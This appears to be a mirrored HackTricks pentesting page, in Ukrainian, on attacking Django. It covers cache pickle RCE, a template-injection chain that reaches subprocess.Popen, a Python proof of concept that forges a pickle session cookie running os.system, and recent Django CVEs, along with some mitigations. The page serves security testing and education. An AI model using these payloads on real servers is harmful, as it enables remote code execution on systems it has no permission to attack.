mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
80 lines
7.2 KiB
Markdown
80 lines
7.2 KiB
Markdown
# Django
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Маніпуляція кешем для RCE
|
||
Метод зберігання кешу за замовчуванням у Django - це [Python pickles](https://docs.python.org/3/library/pickle.html), що може призвести до RCE, якщо [недовірене введення буде розпаковано](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Якщо зловмисник може отримати доступ на запис до кешу, він може ескалувати цю вразливість до RCE на базовому сервері**.
|
||
|
||
Кеш Django зберігається в одному з чотирьох місць: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [пам'яті](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [файлах](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) або [базі даних](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Кеш, збережений на сервері Redis або в базі даних, є найбільш ймовірними векторами атаки (впровадження Redis та SQL-ін'єкція), але зловмисник також може використовувати кеш на основі файлів, щоб перетворити довільний запис у RCE. Підтримувачі позначили це як незначну проблему. Важливо зазначити, що папка файлів кешу, назва таблиці SQL та деталі сервера Redis можуть варіюватися в залежності від реалізації.
|
||
|
||
Цей звіт HackerOne надає чудовий, відтворювальний приклад експлуатації кешу Django, збереженого в базі даних SQLite: https://hackerone.com/reports/1415436
|
||
|
||
---
|
||
|
||
## Ін'єкція шаблонів на стороні сервера (SSTI)
|
||
Мова шаблонів Django (DTL) є **тюрінг-комплектною**. Якщо дані, надані користувачем, відображаються як *рядок шаблону* (наприклад, викликом `Template(user_input).render()` або коли `|safe`/`format_html()` видаляє автоматичне екранування), зловмисник може досягти повної SSTI → RCE.
|
||
|
||
### Виявлення
|
||
1. Шукайте динамічні виклики до `Template()` / `Engine.from_string()` / `render_to_string()`, які включають *будь-які* неочищені дані запиту.
|
||
2. Надішліть навантаження на основі часу або арифметики:
|
||
```django
|
||
{{7*7}}
|
||
```
|
||
Якщо відображений вихід містить `49`, введення компілюється шаблонним двигуном.
|
||
|
||
### Примітив до RCE
|
||
Django блокує прямий доступ до `__import__`, але граф об'єктів Python доступний:
|
||
```django
|
||
{{''.__class__.mro()[1].__subclasses__()}}
|
||
```
|
||
Знайдіть індекс `subprocess.Popen` (≈400–500 в залежності від версії Python) та виконайте довільні команди:
|
||
```django
|
||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||
```
|
||
Більш безпечний універсальний гаджет - це ітерація, поки `cls.__name__ == 'Popen'`.
|
||
|
||
Той же гаджет працює для **Debug Toolbar** або **Django-CMS** функцій рендерингу шаблонів, які неправильно обробляють введення користувача.
|
||
|
||
---
|
||
|
||
## RCE через куки сесії на основі Pickle
|
||
Якщо налаштування `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` увімкнено (або користувацький серіалізатор, який десеріалізує pickle), Django *розшифровує та розпаковує* куки сесії **перед** викликом будь-якого коду представлення. Тому наявність дійсного ключа підпису (за замовчуванням `SECRET_KEY` проекту) є достатньою для негайного віддаленого виконання коду.
|
||
|
||
### Вимоги до експлуатації
|
||
* Сервер використовує `PickleSerializer`.
|
||
* Зловмисник знає / може вгадати `settings.SECRET_KEY` (витоки через GitHub, `.env`, сторінки помилок тощо).
|
||
|
||
### Доказ концепції
|
||
```python
|
||
#!/usr/bin/env python3
|
||
from django.contrib.sessions.serializers import PickleSerializer
|
||
from django.core import signing
|
||
import os, base64
|
||
|
||
class RCE(object):
|
||
def __reduce__(self):
|
||
return (os.system, ("id > /tmp/pwned",))
|
||
|
||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||
print(f"sessionid={mal}")
|
||
```
|
||
Надішліть отримане cookie, і корисне навантаження виконується з правами WSGI worker.
|
||
|
||
**Заходи пом'якшення**: Залишайте за замовчуванням `JSONSerializer`, змінюйте `SECRET_KEY` та налаштовуйте `SESSION_COOKIE_HTTPONLY`.
|
||
|
||
---
|
||
|
||
## Останні (2023-2025) критичні CVE Django, які повинні перевірити пентестери
|
||
* **CVE-2025-48432** – *Введення журналу через неекранований `request.path`* (виправлено 4 червня 2025 року). Дозволяє зловмисникам підсовувати нові рядки/ANSI коди в журнали та отруювати подальший аналіз журналів. Рівень патчу ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||
* **CVE-2024-42005** – *Критичне SQL-введення* в `QuerySet.values()/values_list()` на `JSONField` (CVSS 9.8). Створіть JSON ключі, щоб вийти з цитування та виконати довільний SQL. Виправлено в 4.2.15 / 5.0.8.
|
||
|
||
Завжди визначайте точну версію фреймворку через сторінку помилки `X-Frame-Options` або хеш `/static/admin/css/base.css` та тестуйте вищезазначене, де це застосовно.
|
||
|
||
---
|
||
|
||
## Посилання
|
||
* Випуск безпеки Django – "Django 5.2.2, 5.1.10, 4.2.22 вирішують CVE-2025-48432" – 4 червня 2025 року.
|
||
* OP-Innovate: "Django випускає оновлення безпеки для усунення вразливості SQL-введення CVE-2024-42005" – 11 серпня 2024 року.
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|